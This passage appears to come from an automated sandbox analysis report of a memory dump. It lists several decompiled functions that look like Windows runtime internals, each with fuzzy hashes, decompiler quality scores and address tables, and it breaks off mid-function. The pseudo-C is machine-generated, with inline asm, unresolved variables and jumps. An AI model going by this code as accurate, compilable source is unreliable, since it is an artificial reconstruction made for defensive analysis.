Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23bfb36c7ffd80df41d83c5af636701fa76d0d30077d36102e377853e87bc29a
Instruction ID: 6f816ce894ae7b31ffebe3bc369f95ec11d4de242972f1c6e53d741b957f9c1b
Opcode Fuzzy Hash: 23bfb36c7ffd80df41d83c5af636701fa76d0d30077d36102e377853e87bc29a
Instruction Fuzzy Hash: 4331D571A2025AABCF15AF68CD81ABFB7B8FF04700F45406AF901E7250E7749D51CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 012B4A2C, Relevance: .1, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E012B4A2C(signed int* __ecx, intOrPtr* __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				signed int* _v12;
				char _v13;
				signed int _v16;
				char _v21;
				signed int* _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t29;
				signed int* _t32;
				signed int* _t41;
				signed int _t42;
				void* _t43;
				intOrPtr* _t51;
				void* _t52;
				signed int _t53;
				signed int _t58;
				void* _t59;
				signed int _t60;
				signed int _t62;

				_t49 = __edx;
				_t62 = (_t60 & 0xfffffff8) - 0xc;
				_t26 =  *0x136d360 ^ _t62;
				_v8 =  *0x136d360 ^ _t62;
				_t41 = __ecx;
				_t51 = __edx;
				_v12 = __ecx;
				if(_a4 == 0) {
					if(_a8 != 0) {
						goto L1;
					}
					_v13 = 1;
					E01292280(_t26, 0x1368608);
					_t58 =  *_t41;
					if(_t58 == 0) {
						L11:
						E0128FFB0(_t41, _t51, 0x1368608);
						L2:
						 *0x136b1e0(_a4, _a8);
						_t42 =  *_t51();
						if(_t42 == 0) {
							_t29 = 0;
							L5:
							_pop(_t52);
							_pop(_t59);
							_pop(_t43);
							return E012BB640(_t29, _t43, _v16 ^ _t62, _t49, _t52, _t59);
						}
						 *((intOrPtr*)(_t42 + 0x34)) = 1;
						if(_v21 != 0) {
							_t53 = 0;
							E01292280(_t28, 0x1368608);
							_t32 = _v24;
							if( *_t32 == _t58) {
								 *_t32 = _t42;
								 *((intOrPtr*)(_t42 + 0x34)) =  *((intOrPtr*)(_t42 + 0x34)) + 1;
								if(_t58 != 0) {
									 *(_t58 + 0x34) =  *(_t58 + 0x34) - 1;
									asm("sbb edi, edi");
									_t53 =  !( ~( *(_t58 + 0x34))) & _t58;
								}
							}
							E0128FFB0(_t42, _t53, 0x1368608);
							if(_t53 != 0) {
								L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t53);
							}
						}
						_t29 = _t42;
						goto L5;
					}
					if( *((char*)(_t58 + 0x40)) != 0) {
						L10:
						 *(_t58 + 0x34) =  *(_t58 + 0x34) + 1;
						E0128FFB0(_t41, _t51, 0x1368608);
						_t29 = _t58;
						goto L5;
					}
					_t49 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
					if( *((intOrPtr*)(_t58 + 0x38)) !=  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x294))) {
						goto L11;
					}
					goto L10;
				}
				L1:
				_v13 = 0;
				_t58 = 0;
				goto L2;
			}

0x012b4a2c
0x012b4a34
0x012b4a3c
0x012b4a3e
0x012b4a48
0x012b4a4b
0x012b4a4d
0x012b4a51
0x012b4a9c
0x00000000
0x00000000
0x012b4aa3
0x012b4aa8
0x012b4aad
0x012b4ab1
0x012b4ade
0x012b4ae3
0x012b4a5a
0x012b4a62
0x012b4a6a
0x012b4a6e
0x012ef203
0x012b4a84
0x012b4a88
0x012b4a89
0x012b4a8a
0x012b4a95
0x012b4a95
0x012b4a79
0x012b4a80
0x012b4af2
0x012b4af4
0x012b4af9
0x012b4aff
0x012b4b01
0x012b4b03
0x012b4b08
0x012ef20a
0x012ef212
0x012ef216
0x012ef216
0x012b4b08
0x012b4b13
0x012b4b1a
0x012ef229
0x012ef229
0x012b4b1a
0x012b4a82
0x00000000
0x012b4a82
0x012b4ab7
0x012b4acd
0x012b4acd
0x012b4ad5
0x012b4ada
0x00000000
0x012b4ada
0x012b4ac2
0x012b4acb
0x00000000
0x00000000
0x00000000
0x012b4acb
0x012b4a53
0x012b4a53
0x012b4a58
0x00000000

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b177d20996ca3ae279c4e826dc19cab98400b32fd0af28775338ca83ad0eac2e
Instruction ID: 192cc50379fb936e7cc8219050d8e49b2bcf2ce47a6165b1c9c864ca9ed23dc5
Opcode Fuzzy Hash: b177d20996ca3ae279c4e826dc19cab98400b32fd0af28775338ca83ad0eac2e
Instruction Fuzzy Hash: BC310732661392DBC721AF18CAC576ABBA8FF84754F004459E65647256C7B0E800CB85

Uniqueness

Uniqueness Score: -1.00%

Function 012B8EC7, Relevance: .1, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E012B8EC7(void* __ecx, void* __edx) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				signed int* _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				signed int* _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				char* _v76;
				intOrPtr _v80;
				signed int _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				signed int* _v108;
				char _v140;
				signed int _v144;
				signed int _v148;
				intOrPtr _v152;
				char _v156;
				intOrPtr _v160;
				char _v164;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t67;
				intOrPtr _t70;
				void* _t71;
				void* _t72;
				signed int _t73;

				_t69 = __edx;
				_v8 =  *0x136d360 ^ _t73;
				_t48 =  *[fs:0x30];
				_t72 = __edx;
				_t71 = __ecx;
				if( *((intOrPtr*)( *[fs:0x30] + 0x18)) != 0) {
					_t48 = E012A4E70(0x13686e4, 0x12b9490, 0, 0);
					if( *0x13653e8 > 5 && E012B8F33(0x13653e8, 0, 0x2000) != 0) {
						_v156 =  *((intOrPtr*)(_t71 + 0x44));
						_v144 =  *(_t72 + 0x44) & 0x0000ffff;
						_v148 =  *(_t72 + 0x46) & 0x0000ffff;
						_v164 =  *((intOrPtr*)(_t72 + 0x58));
						_v108 =  &_v84;
						_v92 =  *((intOrPtr*)(_t71 + 0x28));
						_v84 =  *(_t71 + 0x24) & 0x0000ffff;
						_v76 =  &_v156;
						_t70 = 8;
						_v60 =  &_v144;
						_t67 = 4;
						_v44 =  &_v148;
						_v152 = 0;
						_v160 = 0;
						_v104 = 0;
						_v100 = 2;
						_v96 = 0;
						_v88 = 0;
						_v80 = 0;
						_v72 = 0;
						_v68 = _t70;
						_v64 = 0;
						_v56 = 0;
						_v52 = 0x13653e8;
						_v48 = 0;
						_v40 = 0;
						_v36 = 0x13653e8;
						_v32 = 0;
						_v28 =  &_v164;
						_v24 = 0;
						_v20 = _t70;
						_v16 = 0;
						_t69 = 0x125bc46;
						_t48 = E012F7B9C(0x13653e8, 0x125bc46, _t67, 0x13653e8, _t70,  &_v140);
					}
				}
				return E012BB640(_t48, 0, _v8 ^ _t73, _t69, _t71, _t72);
			}

0x012b8ec7
0x012b8ed9
0x012b8edc
0x012b8ee6
0x012b8ee9
0x012b8eee
0x012b8efc
0x012b8f08
0x012f1349
0x012f1353
0x012f135d
0x012f1366
0x012f136f
0x012f1375
0x012f137c
0x012f1385
0x012f1390
0x012f1391
0x012f139c
0x012f139d
0x012f13a6
0x012f13ac
0x012f13b2
0x012f13b5
0x012f13bc
0x012f13bf
0x012f13c2
0x012f13c5
0x012f13c8
0x012f13cb
0x012f13ce
0x012f13d1
0x012f13d4
0x012f13d7
0x012f13da
0x012f13dd
0x012f13e0
0x012f13e3
0x012f13e6
0x012f13e9
0x012f13f6
0x012f1400
0x012f1400
0x012b8f08
0x012b8f32

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ed985622dddd41c80d3800097ce0d9b7405711ebac7d39cea6593da2b4ed8d8
Instruction ID: b5ef6a9b0c45ad54680109371199f0e608f88c8d0a98d818baa3dcdcf9117c11
Opcode Fuzzy Hash: 7ed985622dddd41c80d3800097ce0d9b7405711ebac7d39cea6593da2b4ed8d8
Instruction Fuzzy Hash: 894182B1D102199FDB20CFAAD981AEDFBF8FB48710F5081AEE649A7240D7745A44CF51

Uniqueness

Uniqueness Score: -1.00%

Function 012AE730, Relevance: .1, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E012AE730(void* __edx, signed int _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36, intOrPtr* _a40) {
				intOrPtr* _v0;
				signed char _v4;
				signed int _v8;
				void* __ecx;
				void* __ebp;
				void* _t37;
				intOrPtr _t38;
				signed int _t44;
				signed char _t52;
				void* _t54;
				intOrPtr* _t56;
				void* _t58;
				char* _t59;
				signed int _t62;

				_t58 = __edx;
				_push(0);
				_push(4);
				_push( &_v8);
				_push(0x24);
				_push(0xffffffff);
				if(E012B9670() < 0) {
					L012CDF30(_t54, _t58, _t35);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(_t54);
					_t52 = _v4;
					if(_t52 > 8) {
						_t37 = 0xc0000078;
					} else {
						_t38 =  *0x1367b9c; // 0x0
						_t62 = _t52 & 0x000000ff;
						_t59 = L01294620(8 + _t62 * 4,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t38 + 0x140000, 8 + _t62 * 4);
						if(_t59 == 0) {
							_t37 = 0xc0000017;
						} else {
							_t56 = _v0;
							 *(_t59 + 1) = _t52;
							 *_t59 = 1;
							 *((intOrPtr*)(_t59 + 2)) =  *_t56;
							 *((short*)(_t59 + 6)) =  *((intOrPtr*)(_t56 + 4));
							_t44 = _t62 - 1;
							if(_t44 <= 7) {
								switch( *((intOrPtr*)(_t44 * 4 +  &M012AE810))) {
									case 0:
										L6:
										 *((intOrPtr*)(_t59 + 8)) = _a8;
										goto L7;
									case 1:
										L13:
										 *((intOrPtr*)(__edx + 0xc)) = _a12;
										goto L6;
									case 2:
										L12:
										 *((intOrPtr*)(__edx + 0x10)) = _a16;
										goto L13;
									case 3:
										L11:
										 *((intOrPtr*)(__edx + 0x14)) = _a20;
										goto L12;
									case 4:
										L10:
										 *((intOrPtr*)(__edx + 0x18)) = _a24;
										goto L11;
									case 5:
										L9:
										 *((intOrPtr*)(__edx + 0x1c)) = _a28;
										goto L10;
									case 6:
										L17:
										 *((intOrPtr*)(__edx + 0x20)) = _a32;
										goto L9;
									case 7:
										 *((intOrPtr*)(__edx + 0x24)) = _a36;
										goto L17;
								}
							}
							L7:
							 *_a40 = _t59;
							_t37 = 0;
						}
					}
					return _t37;
				} else {
					_push(0x20);
					asm("ror eax, cl");
					return _a4 ^ _v8;
				}
			}

0x012ae730
0x012ae736
0x012ae738
0x012ae73d
0x012ae73e
0x012ae740
0x012ae749
0x012ae765
0x012ae76a
0x012ae76b
0x012ae76c
0x012ae76d
0x012ae76e
0x012ae76f
0x012ae775
0x012ae777
0x012ae77e
0x012eb675
0x012ae784
0x012ae784
0x012ae789
0x012ae7a8
0x012ae7ac
0x012ae807
0x012ae7ae
0x012ae7ae
0x012ae7b1
0x012ae7b4
0x012ae7b9
0x012ae7c0
0x012ae7c4
0x012ae7ca
0x012ae7cc
0x00000000
0x012ae7d3
0x012ae7d6
0x00000000
0x00000000
0x012ae7ff
0x012ae802
0x00000000
0x00000000
0x012ae7f9
0x012ae7fc
0x00000000
0x00000000
0x012ae7f3
0x012ae7f6
0x00000000
0x00000000
0x012ae7ed
0x012ae7f0
0x00000000
0x00000000
0x012ae7e7
0x012ae7ea
0x00000000
0x00000000
0x012eb685
0x012eb688
0x00000000
0x00000000
0x012eb682
0x00000000
0x00000000
0x012ae7cc
0x012ae7d9
0x012ae7dc
0x012ae7de
0x012ae7de
0x012ae7ac
0x012ae7e4
0x012ae74b
0x012ae751
0x012ae759
0x012ae761
0x012ae761

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d4e641f6ad82e0a7bfdc37673f8feee2369f04e9136a5dd5053c579426c9985
Instruction ID: 42087d90d28852440fce672d270fd4f11246b5d32d479f10f210d981d4ecbd8b
Opcode Fuzzy Hash: 0d4e641f6ad82e0a7bfdc37673f8feee2369f04e9136a5dd5053c579426c9985
Instruction Fuzzy Hash: 0C31D675A24249EFD704CF58D841F9ABBE4FB09314F558256FA04CB341D671EC81CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 012ABC2C, Relevance: .1, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E012ABC2C(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, signed int _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* __ebx;
				void* __edi;
				intOrPtr _t22;
				intOrPtr* _t41;
				intOrPtr _t51;

				_t51 =  *0x1366100; // 0x5
				_v12 = __edx;
				_v8 = __ecx;
				if(_t51 >= 0x800) {
					L12:
					return 0;
				} else {
					goto L1;
				}
				while(1) {
					L1:
					_t22 = _t51;
					asm("lock cmpxchg [ecx], edx");
					if(_t51 == _t22) {
						break;
					}
					_t51 = _t22;
					if(_t22 < 0x800) {
						continue;
					}
					goto L12;
				}
				E01292280(0xd, 0x60ff1a0);
				_t41 =  *0x13660f8; // 0x0
				if(_t41 != 0) {
					 *0x13660f8 =  *_t41;
					 *0x13660fc =  *0x13660fc + 0xffff;
				}
				E0128FFB0(_t41, 0x800, 0x60ff1a0);
				if(_t41 != 0) {
					L6:
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					 *((intOrPtr*)(_t41 + 0x1c)) = _v12;
					 *((intOrPtr*)(_t41 + 0x20)) = _a4;
					 *(_t41 + 0x36) =  *(_t41 + 0x36) & 0x00008000 | _a8 & 0x00003fff;
					do {
						asm("lock xadd [0x13660f0], ax");
						 *((short*)(_t41 + 0x34)) = 1;
					} while (1 == 0);
					goto L8;
				} else {
					_t41 = L01294620(0x1366100,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0xd0);
					if(_t41 == 0) {
						L11:
						asm("lock dec dword [0x1366100]");
						L8:
						return _t41;
					}
					 *(_t41 + 0x24) =  *(_t41 + 0x24) & 0x00000000;
					 *(_t41 + 0x28) =  *(_t41 + 0x28) & 0x00000000;
					if(_t41 == 0) {
						goto L11;
					}
					goto L6;
				}
			}

0x012abc36
0x012abc42
0x012abc45
0x012abc4a
0x012abd35
0x00000000
0x00000000
0x00000000
0x00000000
0x012abc50
0x012abc50
0x012abc58
0x012abc5a
0x012abc60
0x00000000
0x00000000
0x012ea4f2
0x012ea4f6
0x00000000
0x00000000
0x00000000
0x012ea4fc
0x012abc79
0x012abc7e
0x012abc86
0x012abd16
0x012abd20
0x012abd20
0x012abc8d
0x012abc94
0x012abcbd
0x012abcca
0x012abccb
0x012abccc
0x012abccd
0x012abcce
0x012abcd4
0x012abcea
0x012abcee
0x012abcf2
0x012abd00
0x012abd04
0x00000000
0x012abc96
0x012abcab
0x012abcaf
0x012abd2c
0x012abd2c
0x012abd09
0x00000000
0x012abd09
0x012abcb1
0x012abcb5
0x012abcbb
0x00000000
0x00000000
0x00000000
0x012abcbb

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 768b5409f6f10a2f99871a76b2a9939e56bce800e0606ebf7126bcd3179c663e
Instruction ID: 40f1312dbe8ab8fabe402810ba824822ad78fe89a51581f9ae2ba1d19a2c4c43
Opcode Fuzzy Hash: 768b5409f6f10a2f99871a76b2a9939e56bce800e0606ebf7126bcd3179c663e
Instruction Fuzzy Hash: CE31DFB6A20A169FCB11DF58D4817A677B8FB18350F448079EE45DB205EB74D905CBC0

Uniqueness

Uniqueness Score: -1.00%

Function 01279100, Relevance: .1, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E01279100(signed int __ebx, void* __ecx, void* __edi, signed int __esi, void* __eflags) {
				signed int _t53;
				signed int _t56;
				signed int* _t60;
				signed int _t63;
				signed int _t66;
				signed int _t69;
				void* _t70;
				intOrPtr* _t72;
				void* _t78;
				void* _t79;
				signed int _t80;
				intOrPtr _t82;
				void* _t85;
				void* _t88;
				void* _t89;

				_t84 = __esi;
				_t70 = __ecx;
				_t68 = __ebx;
				_push(0x2c);
				_push(0x134f6e8);
				E012CD0E8(__ebx, __edi, __esi);
				 *((char*)(_t85 - 0x1d)) = 0;
				_t82 =  *((intOrPtr*)(_t85 + 8));
				if(_t82 == 0) {
					L4:
					if( *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) == 0) {
						E013488F5(_t68, _t70, _t78, _t82, _t84, __eflags);
					}
					L5:
					return E012CD130(_t68, _t82, _t84);
				}
				_t88 = _t82 -  *0x13686c0; // 0xd407b0
				if(_t88 == 0) {
					goto L4;
				}
				_t89 = _t82 -  *0x13686b8; // 0x0
				if(_t89 == 0 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					goto L4;
				} else {
					E01292280(_t82 + 0xe0, _t82 + 0xe0);
					 *(_t85 - 4) =  *(_t85 - 4) & 0x00000000;
					__eflags =  *((char*)(_t82 + 0xe5));
					if(__eflags != 0) {
						E013488F5(__ebx, _t70, _t78, _t82, __esi, __eflags);
						goto L12;
					} else {
						__eflags =  *((char*)(_t82 + 0xe4));
						if( *((char*)(_t82 + 0xe4)) == 0) {
							 *((char*)(_t82 + 0xe4)) = 1;
							_push(_t82);
							_push( *((intOrPtr*)(_t82 + 0x24)));
							E012BAFD0();
						}
						while(1) {
							_t60 = _t82 + 8;
							 *(_t85 - 0x2c) = _t60;
							_t68 =  *_t60;
							_t80 = _t60[1];
							 *(_t85 - 0x28) = _t68;
							 *(_t85 - 0x24) = _t80;
							while(1) {
								L10:
								__eflags = _t80;
								if(_t80 == 0) {
									break;
								}
								_t84 = _t68;
								 *(_t85 - 0x30) = _t80;
								 *(_t85 - 0x24) = _t80 - 1;
								asm("lock cmpxchg8b [edi]");
								_t68 = _t84;
								 *(_t85 - 0x28) = _t68;
								 *(_t85 - 0x24) = _t80;
								__eflags = _t68 - _t84;
								_t82 =  *((intOrPtr*)(_t85 + 8));
								if(_t68 != _t84) {
									continue;
								}
								__eflags = _t80 -  *(_t85 - 0x30);
								if(_t80 !=  *(_t85 - 0x30)) {
									continue;
								}
								__eflags = _t80;
								if(_t80 == 0) {
									break;
								}
								_t63 = 0;
								 *(_t85 - 0x34) = 0;
								_t84 = 0;
								__eflags = 0;
								while(1) {
									 *(_t85 - 0x3c) = _t84;
									__eflags = _t84 - 3;
									if(_t84 >= 3) {
										break;
									}
									__eflags = _t63;
									if(_t63 != 0) {
										L40:
										_t84 =  *_t63;
										__eflags = _t84;
										if(_t84 != 0) {
											_t84 =  *(_t84 + 4);
											__eflags = _t84;
											if(_t84 != 0) {
												 *0x136b1e0(_t63, _t82);
												 *_t84();
											}
										}
										do {
											_t60 = _t82 + 8;
											 *(_t85 - 0x2c) = _t60;
											_t68 =  *_t60;
											_t80 = _t60[1];
											 *(_t85 - 0x28) = _t68;
											 *(_t85 - 0x24) = _t80;
											goto L10;
										} while (_t63 == 0);
										goto L40;
									}
									_t69 = 0;
									__eflags = 0;
									while(1) {
										 *(_t85 - 0x38) = _t69;
										__eflags = _t69 -  *0x13684c0;
										if(_t69 >=  *0x13684c0) {
											break;
										}
										__eflags = _t63;
										if(_t63 != 0) {
											break;
										}
										_t66 = E01349063(_t69 * 0xc +  *((intOrPtr*)(_t82 + 0x10 + _t84 * 4)), _t80, _t82);
										__eflags = _t66;
										if(_t66 == 0) {
											_t63 = 0;
											__eflags = 0;
										} else {
											_t63 = _t66 + 0xfffffff4;
										}
										 *(_t85 - 0x34) = _t63;
										_t69 = _t69 + 1;
									}
									_t84 = _t84 + 1;
								}
								__eflags = _t63;
							}
							 *((intOrPtr*)(_t82 + 0xf4)) =  *((intOrPtr*)(_t85 + 4));
							 *((char*)(_t82 + 0xe5)) = 1;
							 *((char*)(_t85 - 0x1d)) = 1;
							L12:
							 *(_t85 - 4) = 0xfffffffe;
							E0127922A(_t82);
							_t53 = E01297D50();
							__eflags = _t53;
							if(_t53 != 0) {
								_t56 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
							} else {
								_t56 = 0x7ffe0386;
							}
							__eflags =  *_t56;
							if( *_t56 != 0) {
								_t56 = E01348B58(_t82);
							}
							__eflags =  *((char*)(_t85 - 0x1d));
							if( *((char*)(_t85 - 0x1d)) != 0) {
								__eflags = _t82 -  *0x13686c0; // 0xd407b0
								if(__eflags != 0) {
									__eflags = _t82 -  *0x13686b8; // 0x0
									if(__eflags == 0) {
										_t79 = 0x13686bc;
										_t72 = 0x13686b8;
										goto L18;
									}
									__eflags = _t56 | 0xffffffff;
									asm("lock xadd [edi], eax");
									if(__eflags == 0) {
										E01279240(_t68, _t82, _t82, _t84, __eflags);
									}
								} else {
									_t79 = 0x13686c4;
									_t72 = 0x13686c0;
									L18:
									E012A9B82(_t68, _t72, _t79, _t82, _t84, __eflags);
								}
							}
							goto L5;
						}
					}
				}
			}

0x01279100
0x01279100
0x01279100
0x01279100
0x01279102
0x01279107
0x0127910c
0x01279110
0x01279115
0x01279136
0x01279143
0x012d37e4
0x012d37e4
0x01279149
0x0127914e
0x0127914e
0x01279117
0x0127911d
0x00000000
0x00000000
0x0127911f
0x01279125
0x00000000
0x01279151
0x01279158
0x0127915d
0x01279161
0x01279168
0x012d3715
0x00000000
0x0127916e
0x0127916e
0x01279175
0x01279177
0x0127917e
0x0127917f
0x01279182
0x01279182
0x01279187
0x01279187
0x0127918a
0x0127918d
0x0127918f
0x01279192
0x01279195
0x01279198
0x01279198
0x01279198
0x0127919a
0x00000000
0x00000000
0x012d371f
0x012d3721
0x012d3727
0x012d372f
0x012d3733
0x012d3735
0x012d3738
0x012d373b
0x012d373d
0x012d3740
0x00000000
0x00000000
0x012d3746
0x012d3749
0x00000000
0x00000000
0x012d374f
0x012d3751
0x00000000
0x00000000
0x012d3757
0x012d3759
0x012d375c
0x012d375c
0x012d375e
0x012d375e
0x012d3761
0x012d3764
0x00000000
0x00000000
0x012d3766
0x012d3768
0x012d37a3
0x012d37a3
0x012d37a5
0x012d37a7
0x012d37ad
0x012d37b0
0x012d37b2
0x012d37bc
0x012d37c2
0x012d37c2
0x012d37b2
0x01279187
0x01279187
0x0127918a
0x0127918d
0x0127918f
0x01279192
0x01279195
0x00000000
0x01279195
0x00000000
0x01279187
0x012d376a
0x012d376a
0x012d376c
0x012d376c
0x012d376f
0x012d3775
0x00000000
0x00000000
0x012d3777
0x012d3779
0x00000000
0x00000000
0x012d3782
0x012d3787
0x012d3789
0x012d3790
0x012d3790
0x012d378b
0x012d378b
0x012d378b
0x012d3792
0x012d3795
0x012d3795
0x012d3798
0x012d3798
0x012d379b
0x012d379b
0x012791a3
0x012791a9
0x012791b0
0x012791b4
0x012791b4
0x012791bb
0x012791c0
0x012791c5
0x012791c7
0x012d37da
0x012791cd
0x012791cd
0x012791cd
0x012791d2
0x012791d5
0x01279239
0x01279239
0x012791d7
0x012791db
0x012791e1
0x012791e7
0x012791fd
0x01279203
0x0127921e
0x01279223
0x00000000
0x01279223
0x01279205
0x01279208
0x0127920c
0x01279214
0x01279214
0x012791e9
0x012791e9
0x012791ee
0x012791f3
0x012791f3
0x012791f3
0x012791e7
0x00000000
0x012791db
0x01279187
0x01279168

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6737137437b2f8d8a01990249c82688e924eb757f2bf6226d4c3d4265624abc8
Instruction ID: bc20b5bbdcf1f28e0e36e63a8310b8f9ad36212761e9c1bcff897d1ca4ac1e69
Opcode Fuzzy Hash: 6737137437b2f8d8a01990249c82688e924eb757f2bf6226d4c3d4265624abc8
Instruction Fuzzy Hash: A631D1B1A21746DFEF25DB6CD048BAEBBB1BB49338F15819DC60467251C370A8D0CB51

Uniqueness

Uniqueness Score: -1.00%

Function 012A1DB5, Relevance: .1, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E012A1DB5(intOrPtr __ecx, intOrPtr* __edx, intOrPtr* _a4) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr* _v20;
				void* _t22;
				char _t23;
				void* _t36;
				intOrPtr _t42;
				intOrPtr _t43;

				_v12 = __ecx;
				_t43 = 0;
				_v20 = __edx;
				_t42 =  *__edx;
				 *__edx = 0;
				_v16 = _t42;
				_push( &_v8);
				_push(0);
				_push(0);
				_push(6);
				_push(0);
				_push(__ecx);
				_t36 = ((0 | __ecx !=  *((intOrPtr*)( *[fs:0x30] + 8))) - 0x00000001 & 0xc0000000) + 0x40000002;
				_push(_t36);
				_t22 = E0129F460();
				if(_t22 < 0) {
					if(_t22 == 0xc0000023) {
						goto L1;
					}
					L3:
					return _t43;
				}
				L1:
				_t23 = _v8;
				if(_t23 != 0) {
					_t38 = _a4;
					if(_t23 >  *_a4) {
						_t42 = L01294620(_t38,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t23);
						if(_t42 == 0) {
							goto L3;
						}
						_t23 = _v8;
					}
					_push( &_v8);
					_push(_t23);
					_push(_t42);
					_push(6);
					_push(_t43);
					_push(_v12);
					_push(_t36);
					if(E0129F460() < 0) {
						if(_t42 != 0 && _t42 != _v16) {
							L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t43, _t42);
						}
						goto L3;
					}
					 *_v20 = _t42;
					 *_a4 = _v8;
				}
				_t43 = 1;
				goto L3;
			}

0x012a1dc2
0x012a1dc5
0x012a1dc7
0x012a1dcc
0x012a1dce
0x012a1dd6
0x012a1ddf
0x012a1de0
0x012a1de1
0x012a1de5
0x012a1de8
0x012a1def
0x012a1df0
0x012a1df6
0x012a1df7
0x012a1dfe
0x012a1e1a
0x00000000
0x00000000
0x012a1e0b
0x012a1e12
0x012a1e12
0x012a1e00
0x012a1e00
0x012a1e05
0x012a1e1e
0x012a1e23
0x012e570f
0x012e5713
0x00000000
0x00000000
0x012e5719
0x012e5719
0x012a1e2c
0x012a1e2d
0x012a1e2e
0x012a1e2f
0x012a1e31
0x012a1e32
0x012a1e35
0x012a1e3d
0x012e5723
0x012e573d
0x012e573d
0x00000000
0x012e5723
0x012a1e49
0x012a1e4e
0x012a1e4e
0x012a1e09
0x00000000

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 113d149f2ee32d0cf172cc5618c6b00e5ec00d0f660e83749918783638c296a2
Instruction ID: 96cbf08580574753f5275342605bcdaf3f6347748e2cabd077d5dce4ae78fdc7
Opcode Fuzzy Hash: 113d149f2ee32d0cf172cc5618c6b00e5ec00d0f660e83749918783638c296a2
Instruction Fuzzy Hash: F921DE7266010AEFD724CF99CE80EABBBBDEF85760F544055EB01D7210D230AE21CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 01290050, Relevance: .1, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E01290050(void* __ecx) {
				signed int _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t30;
				intOrPtr* _t31;
				signed int _t34;
				void* _t40;
				void* _t41;
				signed int _t44;
				intOrPtr _t47;
				signed int _t58;
				void* _t59;
				void* _t61;
				void* _t62;
				signed int _t64;

				_push(__ecx);
				_v8 =  *0x136d360 ^ _t64;
				_t61 = __ecx;
				_t2 = _t61 + 0x20; // 0x20
				E012A9ED0(_t2, 1, 0);
				_t52 =  *(_t61 + 0x8c);
				_t4 = _t61 + 0x8c; // 0x8c
				_t40 = _t4;
				do {
					_t44 = _t52;
					_t58 = _t52 & 0x00000001;
					_t24 = _t44;
					asm("lock cmpxchg [ebx], edx");
					_t52 = _t44;
				} while (_t52 != _t44);
				if(_t58 == 0) {
					L7:
					_pop(_t59);
					_pop(_t62);
					_pop(_t41);
					return E012BB640(_t24, _t41, _v8 ^ _t64, _t52, _t59, _t62);
				}
				asm("lock xadd [esi], eax");
				_t47 =  *[fs:0x18];
				 *((intOrPtr*)(_t61 + 0x50)) =  *((intOrPtr*)(_t47 + 0x19c));
				 *((intOrPtr*)(_t61 + 0x54)) =  *((intOrPtr*)(_t47 + 0x1a0));
				_t30 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
				if(_t30 != 0) {
					if( *_t30 == 0) {
						goto L4;
					}
					_t31 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
					L5:
					if( *_t31 != 0) {
						_t18 = _t61 + 0x78; // 0x78
						E01348A62( *(_t61 + 0x5c), _t18,  *((intOrPtr*)(_t61 + 0x30)),  *((intOrPtr*)(_t61 + 0x34)),  *((intOrPtr*)(_t61 + 0x3c)));
					}
					_t52 =  *(_t61 + 0x5c);
